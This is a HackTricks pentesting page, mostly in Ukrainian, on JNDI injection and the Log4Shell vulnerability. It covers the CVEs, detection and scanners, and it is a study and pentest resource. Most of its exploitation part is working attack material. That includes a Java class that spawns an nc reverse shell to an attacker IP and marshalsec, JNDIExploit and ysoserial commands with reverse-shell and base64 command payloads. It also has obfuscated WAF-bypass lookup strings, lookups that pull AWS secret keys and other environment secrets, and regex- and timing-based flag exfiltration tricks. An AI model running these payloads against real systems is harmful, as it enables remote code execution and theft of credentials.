43 KiB
JNDI - Java Naming and Directory Interface & Log4Shell
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
JNDI, інтегрований у Java з кінця 1990-х, слугує службою каталогів, що дозволяє Java-програмам знаходити дані або об'єкти через систему імен. Він підтримує різні служби каталогів через інтерфейси постачальників послуг (SPI), що дозволяє отримувати дані з різних систем, включаючи віддалені Java-об'єкти. Загальні SPI включають CORBA COS, Java RMI Registry та LDAP.
JNDI Naming Reference
Java-об'єкти можуть зберігатися та отримуватися за допомогою JNDI Naming References, які мають дві форми:
- Reference Addresses: Вказує на місцезнаходження об'єкта (наприклад, rmi://server/ref), що дозволяє безпосереднє отримання з вказаної адреси.
- Remote Factory: Посилається на віддалений клас фабрики. При доступі клас завантажується та створюється з віддаленого місця.
Однак цей механізм може бути використаний в зловмисних цілях, що потенційно призводить до завантаження та виконання довільного коду. Як контрзаходи:
- RMI:
java.rmi.server.useCodeabseOnly = true
за замовчуванням з JDK 7u21, обмежуючи завантаження віддалених об'єктів. Менеджер безпеки додатково обмежує те, що може бути завантажено. - LDAP:
com.sun.jndi.ldap.object.trustURLCodebase = false
за замовчуванням з JDK 6u141, 7u131, 8u121, блокує виконання віддалено завантажених Java-об'єктів. Якщо встановлено наtrue
, можливе виконання віддаленого коду без контролю Менеджера безпеки. - CORBA: Не має специфічної властивості, але Менеджер безпеки завжди активний.
Однак Naming Manager, відповідальний за розв'язання JNDI посилань, не має вбудованих механізмів безпеки, що потенційно дозволяє отримувати об'єкти з будь-якого джерела. Це становить ризик, оскільки захисти RMI, LDAP та CORBA можуть бути обійдені, що призводить до завантаження довільних Java-об'єктів або використання існуючих компонентів програми (гаджетів) для виконання шкідливого коду.
Приклади вразливих URL включають:
- rmi://attacker-server/bar
- ldap://attacker-server/bar
- iiop://attacker-server/bar
Незважаючи на захист, вразливості залишаються, головним чином через відсутність запобіжників проти завантаження JNDI з ненадійних джерел та можливість обійти існуючі захисти.
JNDI Example
Навіть якщо ви встановили PROVIDER_URL
, ви можете вказати інший під час пошуку, і він буде доступний: ctx.lookup("<attacker-controlled-url>")
, і саме це зловмисник буде використовувати для завантаження довільних об'єктів з системи, контрольованої ним.
CORBA Overview
CORBA (Common Object Request Broker Architecture) використовує Interoperable Object Reference (IOR) для унікальної ідентифікації віддалених об'єктів. Це посилання містить важливу інформацію, таку як:
- Type ID: Унікальний ідентифікатор для інтерфейсу.
- Codebase: URL для отримання класу-стуба.
Варто зазначити, що CORBA не є вразливим за замовчуванням. Забезпечення безпеки зазвичай включає:
- Встановлення Менеджера безпеки.
- Налаштування Менеджера безпеки для дозволу з'єднань з потенційно шкідливими кодовими базами. Це можна досягти через:
- Дозвіл на сокети, наприклад,
permissions java.net.SocketPermission "*:1098-1099", "connect";
. - Дозволи на читання файлів, або універсально (
permission java.io.FilePermission "<<ALL FILES>>", "read";
), або для конкретних каталогів, де можуть бути розміщені шкідливі файли.
Однак деякі політики постачальників можуть бути м'якими і дозволяти ці з'єднання за замовчуванням.
RMI Context
Для RMI (Remote Method Invocation) ситуація дещо інша. Як і з CORBA, завантаження довільних класів за замовчуванням обмежене. Щоб експлуатувати RMI, зазвичай потрібно обійти Менеджера безпеки, що також є актуальним у CORBA.
LDAP
По-перше, потрібно розрізняти пошук і пошук за іменем.
Пошук використовуватиме URL, як-от ldap://localhost:389/o=JNDITutorial
, щоб знайти об'єкт JNDITutorial з LDAP-сервера та отримати його атрибути.
Пошук за іменем призначений для служб імен, оскільки ми хочемо отримати все, що прив'язано до імені.
Якщо пошук LDAP був викликаний з SearchControls.setReturningObjFlag() з true
, то повернений об'єкт буде реконструйовано.
Отже, існує кілька способів атакувати ці опції.
Зловмисник може отруїти записи LDAP, вводячи в них корисні навантаження, які будуть виконані в системах, що їх збирають (дуже корисно для компрометації десятків машин, якщо у вас є доступ до LDAP-сервера). Інший спосіб експлуатувати це - виконати атаку MitM під час пошуку LDAP, наприклад.
Якщо ви можете змусити додаток розв'язати JNDI LDAP URL, ви можете контролювати LDAP, який буде шукатися, і ви могли б надіслати назад експлойт (log4shell).
Deserialization exploit
Експлойт серіалізований і буде десеріалізований.
Якщо trustURLCodebase
дорівнює true
, зловмисник може надати свої власні класи в кодовій базі, якщо ні, йому потрібно буде зловживати гаджетами в classpath.
JNDI Reference exploit
Легше атакувати цей LDAP, використовуючи JavaFactory references:
Log4Shell Vulnerability
Вразливість виникає в Log4j, оскільки він підтримує спеціальний синтаксис у формі ${prefix:name}
, де prefix
є одним з кількох різних Lookups, які повинні бути оцінені. Наприклад, ${java:version}
- це поточна версія Java.
LOG4J2-313 ввів функцію jndi
Lookup. Ця функція дозволяє отримувати змінні через JNDI. Зазвичай ключ автоматично префіксується java:comp/env/
. Однак, якщо сам ключ містить ":", цей стандартний префікс не застосовується.
При наявності : в ключі, як у ${jndi:ldap://example.com/a}
, немає префікса, і LDAP-сервер запитується для об'єкта. І ці Lookups можуть використовуватися як у конфігурації Log4j, так і під час запису рядків.
Отже, єдине, що потрібно для отримання RCE - це вразлива версія Log4j, що обробляє інформацію, контрольовану користувачем. І оскільки це бібліотека, яка широко використовується Java-додатками для ведення журналів інформації (включаючи додатки, що виходять в Інтернет), було дуже поширено мати log4j, що веде журнал, наприклад, отриманих HTTP-заголовків, таких як User-Agent. Однак log4j не використовується лише для ведення журналів HTTP-інформації, а для будь-якого введення та даних, які вказав розробник.
Overview of Log4Shell-Related CVEs
CVE-2021-44228 [Critical]
Ця вразливість є критичною вразливістю ненадійної десеріалізації в компоненті log4j-core
, що впливає на версії з 2.0-beta9 до 2.14.1. Вона дозволяє віддалене виконання коду (RCE), що дозволяє зловмисникам захоплювати системи. Проблему повідомив Чен Чжаоцзюнь з команди безпеки Alibaba Cloud і вона впливає на різні фреймворки Apache. Початкове виправлення у версії 2.15.0 було неповним. Правила Sigma для захисту доступні (Правило 1, Правило 2).
CVE-2021-45046 [Critical]
Спочатку оцінювалося як низьке, але пізніше підвищено до критичного, ця CVE є вразливістю відмови в обслуговуванні (DoS), що виникає внаслідок неповного виправлення у 2.15.0 для CVE-2021-44228. Вона впливає на нестандартні конфігурації, що дозволяє зловмисникам викликати атаки DoS через спеціально підготовлені корисні навантаження. Твіт демонструє метод обходу. Проблема вирішена у версіях 2.16.0 та 2.12.2 шляхом видалення шаблонів пошуку повідомлень та відключення JNDI за замовчуванням.
CVE-2021-4104 [High]
Впливаючи на версії Log4j 1.x у нестандартних конфігураціях, що використовують JMSAppender
, ця CVE є вразливістю ненадійної десеріалізації. Виправлення для гілки 1.x не доступне, оскільки вона вийшла з експлуатації, і рекомендується оновлення до log4j-core 2.17.0
.
CVE-2021-42550 [Moderate]
Ця вразливість впливає на фреймворк ведення журналів Logback, наступника Log4j 1.x. Раніше вважалося, що він безпечний, але фреймворк виявився вразливим, і нові версії (1.3.0-alpha11 та 1.2.9) були випущені для вирішення проблеми.
CVE-2021-45105 [High]
Log4j 2.16.0 містить вразливість DoS, що спонукало до випуску log4j 2.17.0
для виправлення CVE. Подробиці в звіті BleepingComputer звіту.
CVE-2021-44832
Впливаючи на версію log4j 2.17, ця CVE вимагає, щоб зловмисник контролював конфігураційний файл log4j. Це передбачає потенційне виконання довільного коду через налаштований JDBCAppender. Більше деталей доступно в блог-посту Checkmarx.
Log4Shell Exploitation
Discovery
Цю вразливість дуже легко виявити, якщо вона не захищена, оскільки вона надішле принаймні DNS-запит на адресу, яку ви вказали у своєму корисному навантаженні. Тому корисні навантаження, такі як:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(використовуючи canarytokens.com)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(використовуючи interactsh)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(використовуючи Burp Suite)${jndi:ldap://2j4ayo.dnslog.cn}
(використовуючи dnslog)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
(використовуючи huntress)
Зверніть увагу, що навіть якщо отримано DNS-запит, це не означає, що додаток є вразливим (або навіть уразливим), вам потрібно буде спробувати експлуатувати його.
{% hint style="info" %} Пам'ятайте, що для експлуатації версії 2.15 вам потрібно додати обхід перевірки localhost: ${jndi:ldap://127.0.0.1#...} {% endhint %}
Local Discovery
Шукайте локальні вразливі версії бібліотеки з:
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
Перевірка
Деякі з платформ, згаданих раніше, дозволять вам вставити деякі змінні дані, які будуть записані, коли їх запитують.
Це може бути дуже корисно для 2-х речей:
- Щоб перевірити вразливість
- Щоб екстрагувати інформацію, зловживаючи вразливістю
Наприклад, ви могли б запитати щось на кшталт:
або як ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
і якщо отримано DNS-запит зі значенням змінної середовища, ви знаєте, що додаток вразливий.
Інша інформація, яку ви могли б спробувати витягнути:
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
RCE Information
{% hint style="info" %}
Хости, що працюють на версіях JDK вище 6u141, 7u131 або 8u121, захищені від вектору атаки завантаження класів LDAP. Це пов'язано з за замовчуванням деактивацією com.sun.jndi.ldap.object.trustURLCodebase
, що запобігає JNDI від завантаження віддаленого кодового бази через LDAP. Однак важливо зазначити, що ці версії не захищені від вектору атаки десеріалізації.
Для атакуючих, які прагнуть експлуатувати ці вищі версії JDK, необхідно використовувати достовірний гаджет у Java-додатку. Інструменти, такі як ysoserial або JNDIExploit, часто використовуються для цієї мети. Навпаки, експлуатація нижчих версій JDK є відносно простішою, оскільки ці версії можна маніпулювати для завантаження та виконання довільних класів.
Для додаткової інформації (як обмеження на RMI та CORBA вектори) перевірте попередній розділ JNDI Naming Reference або https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}
RCE - Marshalsec with custom payload
Ви можете протестувати це в THM box: https://tryhackme.com/room/solar
Використовуйте інструмент marshalsec (версія jar доступна тут). Цей підхід встановлює LDAP сервер посилань для перенаправлення з'єднань на вторинний HTTP сервер, де буде розміщено експлойт:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
Щоб спонукати ціль завантажити код зворотного шелу, створіть файл Java з назвою Exploit.java
з вмістом нижче:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Скомпілюйте файл Java в клас-файл за допомогою: javac Exploit.java -source 8 -target 8
. Далі, ініціюйте HTTP сервер в директорії, що містить клас-файл, за допомогою: python3 -m http.server
. Переконайтеся, що marshalsec LDAP сервер посилається на цей HTTP сервер.
Запустіть виконання класу експлойту на вразливому веб-сервері, надіславши корисне навантаження, що нагадує:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
Примітка: Цей експлойт залежить від конфігурації Java, яка дозволяє завантаження віддалених кодових баз через LDAP. Якщо це не дозволено, розгляньте можливість використання довіреного класу для виконання довільного коду.
RCE - JNDIExploit
{% hint style="info" %} Зверніть увагу, що з якоїсь причини автор видалив цей проект з github після виявлення log4shell. Ви можете знайти кешовану версію за https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2, але якщо ви хочете поважати рішення автора, використовуйте інший метод для експлуатації цієї уразливості.
Більше того, ви не можете знайти вихідний код у wayback machine, тому або проаналізуйте вихідний код, або виконайте jar, знаючи, що ви не знаєте, що виконуєте. {% endhint %}
Для цього прикладу ви можете просто запустити цей вразливий веб-сервер для log4shell на порту 8080: https://github.com/christophetd/log4shell-vulnerable-app (в README ви знайдете, як його запустити). Ця вразлива програма веде журнал з вразливою версією log4shell вмісту заголовка HTTP запиту X-Api-Version.
Потім ви можете завантажити файл JNDIExploit jar і виконати його за допомогою:
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
Після прочитання коду всього за кілька хвилин, у com.feihong.ldap.LdapServer та com.feihong.ldap.HTTPServer ви можете побачити, як створюються LDAP та HTTP сервери. LDAP сервер зрозуміє, який payload потрібно обробити, і перенаправить жертву на HTTP сервер, який буде обслуговувати експлойт.
У com.feihong.ldap.gadgets ви можете знайти деякі специфічні гаджети, які можуть бути використані для виконання бажаної дії (потенційно виконати довільний код). А в com.feihong.ldap.template ви можете побачити різні класи шаблонів, які генеруватимуть експлойти.
Ви можете побачити всі доступні експлойти за допомогою java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Деякі корисні з них:
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
Отже, в нашому прикладі ми вже маємо запущений вразливий додаток docker. Щоб атакувати його:
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
Коли ви надсилаєте атаки, ви побачите деякі виходи в терміналі, де ви виконали JNDIExploit-1.2-SNAPSHOT.jar.
Не забудьте перевірити java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
для інших варіантів експлуатації. Більше того, у разі потреби, ви можете змінити порт LDAP та HTTP серверів.
RCE - JNDI-Exploit-Kit
Подібно до попереднього експлойту, ви можете спробувати використати JNDI-Exploit-Kit для експлуатації цієї вразливості.
Ви можете згенерувати URL-адреси для надсилання жертві, запустивши:
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
Ця атака, що використовує спеціально згенерований java-об'єкт, буде працювати в лабораторіях, таких як THM solar room. Однак, це зазвичай не спрацює (оскільки за замовчуванням Java не налаштована на завантаження віддаленого коду за допомогою LDAP), я думаю, тому що це не зловживає довіреною класою для виконання довільного коду.
RCE - JNDI-Injection-Exploit-Plus
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus - це ще один інструмент для генерації робочих JNDI посилань та надання фонових послуг шляхом запуску RMI сервера, LDAP сервера та HTTP сервера.\
RCE - ysoserial & JNDI-Exploit-Kit
Цей варіант дійсно корисний для атаки на версії Java, налаштовані на довіру лише до вказаних класів, а не до всіх. Тому ysoserial буде використано для генерації серіалізацій довірених класів, які можуть бути використані як гаджети для виконання довільного коду (довірена клас, якою зловживає ysoserial, повинна використовуватися жертвою java програми, щоб експлойт спрацював).
Використовуючи ysoserial або ysoserial-modified, ви можете створити експлойт десеріалізації, який буде завантажено JNDI:
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
Використовуйте JNDI-Exploit-Kit для генерації JNDI посилань, де експлойт буде чекати на з'єднання від вразливих машин. Ви можете надавати різні експлойти, які можуть бути автоматично згенеровані JNDI-Exploit-Kit або навіть свої власні вантажі десеріалізації (згенеровані вами або ysoserial).
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
Тепер ви можете легко використовувати згенероване посилання JNDI для експлуатації вразливості та отримати реверс-шелл, просто надіславши його на вразливу версію log4j: ${ldap://10.10.14.10:1389/generated}
Обходи
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
Автоматичні сканери
- https://github.com/fullhunt/log4j-scan
- https://github.com/adilsoybali/Log4j-RCE-Scanner
- https://github.com/silentsignal/burp-log4shell
- https://github.com/cisagov/log4j-scanner
- https://github.com/Qualys/log4jscanwin
- https://github.com/hillu/local-log4j-vuln-scanner
- https://github.com/logpresso/CVE-2021-44228-Scanner
- https://github.com/palantir/log4j-sniffer - Знайти локальні вразливі бібліотеки
Лабораторії для тестування
- LogForge HTB machine
- Try Hack Me Solar room
- https://github.com/leonjza/log4jpwn
- https://github.com/christophetd/log4shell-vulnerable-app
Післяексплуатація Log4Shell
У цьому CTF звіті добре пояснюється, як це потенційно можливо зловживати деякими функціями Log4J.
Сторінка безпеки Log4j містить кілька цікавих речень:
З версії 2.16.0 (для Java 8), функція пошуку повідомлень була повністю видалена. Пошуки в конфігурації все ще працюють. Крім того, Log4j тепер за замовчуванням відключає доступ до JNDI. Пошуки JNDI в конфігурації тепер потрібно явно включати.
З версії 2.17.0 (і 2.12.3 та 2.3.1 для Java 7 і Java 6), тільки рядки пошуку в конфігурації розширюються рекурсивно; в будь-якому іншому використанні лише верхній рівень пошуку вирішується, а будь-які вкладені пошуки не вирішуються.
Це означає, що за замовчуванням ви можете забути про використання будь-якого експлойту jndi
. Більше того, щоб виконати рекурсивні пошуки, вам потрібно їх налаштувати.
Наприклад, у цьому CTF це було налаштовано у файлі log4j2.xml:
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
Env Lookups
У цьому CTF атакуючий контролював значення ${sys:cmd}
і потрібно було ексфільтрувати прапор з змінної середовища.
Як видно на цій сторінці в попередніх payloads, є кілька способів доступу до змінних середовища, таких як: ${env:FLAG}
. У цьому CTF це було марно, але в інших реальних сценаріях це може бути корисно.
Exfiltration in Exceptions
У CTF ви не могли отримати доступ до stderr java-додатку, використовуючи log4J, але виключення Log4J надсилаються до stdout, що було надруковано в python-додатку. Це означало, що, викликавши виключення, ми могли отримати доступ до вмісту. Виключення для ексфільтрації прапора було: ${java:${env:FLAG}}
. Це працює, тому що ${java:CTF{blahblah}}
не існує, і виключення з значенням прапора буде показано:
Conversion Patterns Exceptions
Просто щоб згадати, ви також могли б інжектувати нові conversion patterns і викликати виключення, які будуть записані в stdout
. Наприклад:
Це не було визнано корисним для ексфільтрації даних всередині повідомлення про помилку, оскільки запит не був вирішений до шаблону перетворення, але це могло бути корисно для інших речей, таких як виявлення.
Conversion Patterns Regexes
Однак можливо використовувати деякі conversion patterns, які підтримують regexes, для ексфільтрації інформації з запиту, використовуючи regexes і зловживаючи бінарним пошуком або часовими поведінками.
- Бінарний пошук через повідомлення про виключення
Шаблон перетворення %replace
може бути використаний для заміни вмісту з рядка, навіть використовуючи regexes. Це працює так: replace{pattern}{regex}{substitution}
Зловживаючи цією поведінкою, ви могли б змусити заміну викликати виключення, якщо regex збігався з чимось всередині рядка (і без виключення, якщо не було знайдено) ось так:
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
- Часовий метод
Як було згадано в попередньому розділі, %replace
підтримує regexes. Тому можливо використовувати payload з ReDoS сторінки, щоб викликати тайм-аут, якщо прапор знайдено.
Наприклад, payload на кшталт %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
викликав би тайм-аут в цьому CTF.
У цьому описі замість використання атаки ReDoS використовували атака посилення, щоб викликати різницю в часі у відповіді:
/%replace{ %replace{ %replace{ %replace{ %replace{ %replace{ %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################}
Якщо прапор починається з
flagGuess
, весь прапор замінюється на 29#
-ів (я використав цей символ, оскільки він, ймовірно, не буде частиною прапора). Кожен з отриманих 29#
-ів потім замінюється на 54#
-и. Цей процес повторюється 6 разів, що призводить до загальної кількості29*54*54^6* =`` ``
96816014208
#
-ів!Заміна такої кількості
#
-ів викличе 10-секундний тайм-аут додатку Flask, що, в свою чергу, призведе до відправлення коду статусу HTTP 500 користувачу. (Якщо прапор не починається зflagGuess
, ми отримаємо статус-код, відмінний від 500)
Посилання
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
- https://www.youtube.com/watch?v=XG14EstTgQ4
- https://tryhackme.com/room/solar
- https://www.youtube.com/watch?v=Y8a5nB-vy78
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
- https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.